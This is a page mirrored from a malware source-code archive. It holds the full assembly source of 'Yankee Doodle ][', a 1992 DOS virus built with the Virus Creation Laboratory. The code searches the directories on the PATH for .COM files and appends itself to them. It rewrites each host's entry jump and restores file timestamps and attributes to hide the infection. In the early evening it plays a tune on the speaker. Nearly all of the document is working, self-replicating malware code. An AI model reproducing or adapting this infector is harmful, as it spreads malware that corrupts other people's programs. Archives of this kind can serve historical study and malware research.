mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
342 lines
10 KiB
NASM
342 lines
10 KiB
NASM
; YANKEE2.ASM -- Yankee Doodle ][
|
|
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
|
; Written by Nowhere Man
|
|
|
|
virus_type equ 0 ; Appending Virus
|
|
is_encrypted equ 0 ; We're not encrypted
|
|
tsr_virus equ 0 ; We're not TSR
|
|
|
|
code segment byte public
|
|
assume cs:code,ds:code,es:code,ss:code
|
|
org 0100h
|
|
|
|
main proc near
|
|
db 0E9h,00h,00h ; Near jump (for compatibility)
|
|
start: call find_offset ; Like a PUSH IP
|
|
find_offset: pop bp ; BP holds old IP
|
|
sub bp,offset find_offset ; Adjust for length of host
|
|
|
|
lea si,[bp + buffer] ; SI points to original start
|
|
mov di,0100h ; Push 0100h on to stack for
|
|
push di ; return to main program
|
|
movsw ; Copy the first two bytes
|
|
movsb ; Copy the third byte
|
|
|
|
mov di,bp ; DI points to start of virus
|
|
|
|
mov bp,sp ; BP points to stack
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
push bx ; Save old DTA address on stack
|
|
|
|
mov ah,01Ah ; DOS set DTA function
|
|
lea dx,[bp - 128] ; DX points to buffer on stack
|
|
int 021h
|
|
|
|
call search_files ; Find and infect a file
|
|
call search_files ; Find and infect another file
|
|
call get_hour
|
|
cmp ax,0011h ; Did the function return 17?
|
|
jle skip00 ; If less that or equal, skip effect
|
|
cmp ax,0013h ; Did the function return 19?
|
|
jge skip00 ; If greater than or equal, skip effect
|
|
jmp short strt00 ; Success -- skip jump
|
|
skip00: jmp end00 ; Skip the routine
|
|
strt00: lea si,[di + data00] ; SI points to data
|
|
get_note: mov bx,[si] ; Load BX with the frequency
|
|
or bx,bx ; Is BX equal to zero?
|
|
je play_tune_done ; If it is we are finished
|
|
|
|
mov ax,034DDh ;
|
|
mov dx,0012h ;
|
|
cmp dx,bx ;
|
|
jnb new_note ;
|
|
div bx ; This bit here was stolen
|
|
mov bx,ax ; from the Turbo C++ v1.0
|
|
in al,061h ; library file CS.LIB. I
|
|
test al,3 ; extracted sound() from the
|
|
jne skip_an_or ; library and linked it to
|
|
or al,3 ; an .EXE file, then diassembled
|
|
out 061h,al ; it. Basically this turns
|
|
mov al,0B6h ; on the speaker at a certain
|
|
out 043h,al ; frequency.
|
|
skip_an_or: mov al,bl ;
|
|
out 042h,al ;
|
|
mov al,bh ;
|
|
out 042h,al ;
|
|
|
|
mov bx,[si + 2] ; BX holds duration value
|
|
xor ah,ah ; BIOS get time function
|
|
int 1Ah
|
|
add bx,dx ; Add the time to the length
|
|
wait_loop: int 1Ah ; Get the time again (AH = 0)
|
|
cmp dx,bx ; Is the delay over?
|
|
jne wait_loop ; Repeat until it is
|
|
|
|
in al,061h ; Stolen from the nosound()
|
|
and al,0FCh ; procedure in Turbo C++ v1.0.
|
|
out 061h,al ; This turns off the speaker.
|
|
|
|
new_note: add si,4 ; SI points to next note
|
|
jmp short get_note ; Repeat with the next note
|
|
play_tune_done:
|
|
|
|
end00:
|
|
com_end: pop dx ; DX holds original DTA address
|
|
mov ah,01Ah ; DOS set DTA function
|
|
int 021h
|
|
|
|
mov sp,bp ; Deallocate local buffer
|
|
|
|
xor ax,ax ;
|
|
mov bx,ax ;
|
|
mov cx,ax ;
|
|
mov dx,ax ; Empty out the registers
|
|
mov si,ax ;
|
|
mov di,ax ;
|
|
mov bp,ax ;
|
|
|
|
ret ; Return to original program
|
|
main endp
|
|
|
|
search_files proc near
|
|
mov bx,di ; BX points to the virus
|
|
push bp ; Save BP
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,135 ; Allocate 135 bytes on stack
|
|
|
|
mov byte ptr [bp - 135],'\' ; Start with a backslash
|
|
|
|
mov ah,047h ; DOS get current dir function
|
|
xor dl,dl ; DL holds drive # (current)
|
|
lea si,[bp - 134] ; SI points to 64-byte buffer
|
|
int 021h
|
|
|
|
call traverse_path ; Start the traversal
|
|
|
|
traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
|
|
je done_searching ; If so then we're done
|
|
call found_subdir ; Otherwise copy the subdirectory
|
|
|
|
mov ax,cs ; AX holds the code segment
|
|
mov ds,ax ; Set the data and extra
|
|
mov es,ax ; segments to the code segment
|
|
|
|
xor al,al ; Zero AL
|
|
stosb ; NULL-terminate the directory
|
|
|
|
mov ah,03Bh ; DOS change directory function
|
|
lea dx,[bp - 70] ; DX points to the directory
|
|
int 021h
|
|
|
|
lea dx,[bx + com_mask] ; DX points to "*.COM"
|
|
push di
|
|
mov di,bx
|
|
call find_files ; Try to infect a .COM file
|
|
mov bx,di
|
|
pop di
|
|
jnc done_searching ; If successful the exit
|
|
jmp short traversal_loop ; Keep checking the PATH
|
|
|
|
done_searching: mov ah,03Bh ; DOS change directory function
|
|
lea dx,[bp - 135] ; DX points to old directory
|
|
int 021h
|
|
|
|
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
|
|
jne at_least_tried ; If not then exit
|
|
stc ; Set the carry flag for failure
|
|
at_least_tried: mov sp,bp ; Restore old stack pointer
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
com_mask db "*.COM",0 ; Mask for all .COM files
|
|
search_files endp
|
|
|
|
traverse_path proc near
|
|
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
|
|
xor di,di ; DI holds the starting offset
|
|
|
|
find_path: lea si,[bx + path_string] ; SI points to "PATH="
|
|
lodsb ; Load the "P" into AL
|
|
mov cx,08000h ; Check the first 32767 bytes
|
|
repne scasb ; Search until the byte is found
|
|
mov cx,4 ; Check the next four bytes
|
|
check_next_4: lodsb ; Load the next letter of "PATH="
|
|
scasb ; Compare it to the environment
|
|
jne find_path ; If there not equal try again
|
|
loop check_next_4 ; Otherwise keep checking
|
|
|
|
mov word ptr [bx + path_ad],di ; Save the PATH address
|
|
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
|
|
ret ; Return to caller
|
|
|
|
path_string db "PATH=" ; The PATH string to search for
|
|
path_ad dd ? ; Holds the PATH's address
|
|
traverse_path endp
|
|
|
|
found_subdir proc near
|
|
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
|
|
lea di,[bp - 70] ; DI points to the work buffer
|
|
push cs ; Transfer CS into ES for
|
|
pop es ; byte transfer
|
|
move_subdir: lodsb ; Load the next byte into AL
|
|
cmp al,';' ; Have we reached a separator?
|
|
je moved_one ; If so we're done copying
|
|
or al,al ; Are we finished with the PATH?
|
|
je moved_last_one ; If so get out of here
|
|
stosb ; Store the byte at ES:DI
|
|
jmp short move_subdir ; Keep transfering characters
|
|
|
|
moved_last_one: xor si,si ; Zero SI to signal completion
|
|
moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
|
|
ret ; Return to caller
|
|
found_subdir endp
|
|
|
|
find_files proc near
|
|
push bp ; Save BP
|
|
|
|
mov ah,02Fh ; DOS get DTA function
|
|
int 021h
|
|
push bx ; Save old DTA address
|
|
|
|
mov bp,sp ; BP points to local buffer
|
|
sub sp,128 ; Allocate 128 bytes on stack
|
|
|
|
push dx ; Save file mask
|
|
mov ah,01Ah ; DOS set DTA function
|
|
lea dx,[bp - 128] ; DX points to buffer
|
|
int 021h
|
|
|
|
mov ah,04Eh ; DOS find first file function
|
|
mov cx,00100111b ; CX holds all file attributes
|
|
pop dx ; Restore file mask
|
|
find_a_file: int 021h
|
|
jc done_finding ; Exit if no files found
|
|
call infect_file ; Infect the file!
|
|
jnc done_finding ; Exit if no error
|
|
mov ah,04Fh ; DOS find next file function
|
|
jmp short find_a_file ; Try finding another file
|
|
|
|
done_finding: mov sp,bp ; Restore old stack frame
|
|
mov ah,01Ah ; DOS set DTA function
|
|
pop dx ; Retrieve old DTA address
|
|
int 021h
|
|
|
|
pop bp ; Restore BP
|
|
ret ; Return to caller
|
|
find_files endp
|
|
|
|
infect_file proc near
|
|
mov ah,02Fh ; DOS get DTA address function
|
|
int 021h
|
|
mov si,bx ; SI points to the DTA
|
|
|
|
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
|
|
|
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
|
jbe size_ok ; If it's small enough continue
|
|
jmp infection_done ; Otherwise exit
|
|
|
|
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
|
lea dx,[si + 01Eh] ; DX points to file name
|
|
int 021h
|
|
xchg bx,ax ; BX holds file handle
|
|
|
|
mov ah,03Fh ; DOS read from file function
|
|
mov cx,3 ; CX holds bytes to read (3)
|
|
lea dx,[di + buffer] ; DX points to buffer
|
|
int 021h
|
|
|
|
mov ax,04202h ; DOS file seek function, EOF
|
|
cwd ; Zero DX _ Zero bytes from end
|
|
mov cx,dx ; Zero CX /
|
|
int 021h
|
|
|
|
xchg dx,ax ; Faster than a PUSH AX
|
|
mov ah,03Eh ; DOS close file function
|
|
int 021h
|
|
xchg dx,ax ; Faster than a POP AX
|
|
|
|
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
|
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
|
je infection_done ; If equal then exit
|
|
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
|
add ax,finish - start ; Re-adjust to make the jump
|
|
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
|
|
|
mov ax,04301h ; DOS set file attrib. function
|
|
xor cx,cx ; Clear all attributes
|
|
lea dx,[si + 01Eh] ; DX points to victim's name
|
|
int 021h
|
|
|
|
mov ax,03D02h ; DOS open file function, r/w
|
|
int 021h
|
|
xchg bx,ax ; BX holds file handle
|
|
|
|
mov ah,040h ; DOS write to file function
|
|
mov cx,3 ; CX holds bytes to write (3)
|
|
lea dx,[di + new_jump] ; DX points to the jump we made
|
|
int 021h
|
|
|
|
mov ax,04202h ; DOS file seek function, EOF
|
|
cwd ; Zero DX _ Zero bytes from end
|
|
mov cx,dx ; Zero CX /
|
|
int 021h
|
|
|
|
mov ah,040h ; DOS write to file function
|
|
mov cx,finish - start ; CX holds virus length
|
|
lea dx,[di + start] ; DX points to start of virus
|
|
int 021h
|
|
|
|
mov ax,05701h ; DOS set file time function
|
|
mov cx,[si + 016h] ; CX holds old file time
|
|
mov dx,[si + 018h] ; DX holds old file date
|
|
int 021h
|
|
|
|
mov ah,03Eh ; DOS close file function
|
|
int 021h
|
|
|
|
mov ax,04301h ; DOS set file attrib. function
|
|
xor ch,ch ; Clear CH for file attribute
|
|
mov cl,[si + 015h] ; CX holds file's old attributes
|
|
lea dx,[si + 01Eh] ; DX points to victim's name
|
|
int 021h
|
|
|
|
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
|
ret ; Return to caller
|
|
|
|
set_carry db ? ; Set-carry-on-exit flag
|
|
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
|
new_jump db 0E9h,?,? ; New jump to virus
|
|
infect_file endp
|
|
|
|
|
|
get_hour proc near
|
|
mov ah,02Ch ; DOS get time function
|
|
int 021h
|
|
mov al,ch ; Copy hour into AL
|
|
cbw ; Sign-extend AL into AX
|
|
ret ; Return to caller
|
|
get_hour endp
|
|
|
|
data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6
|
|
dw 262,6,262,6,293,6,329,6,262,12,262,12
|
|
dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6
|
|
dw 246,6,196,6,220,6,246,6,262,12,262,12
|
|
dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6
|
|
dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7
|
|
dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7
|
|
dw 196,6,262,6,246,6,293,6,262,12,262,12
|
|
dw 0
|
|
|
|
vcl_marker db "[VCL]",0 ; VCL creation marker
|
|
|
|
|
|
note db "[Yankee Doodle 2]",0
|
|
db "Nowhere Man, [NuKE] '92",0
|
|
|
|
finish label near
|
|
|
|
code ends
|
|
end main |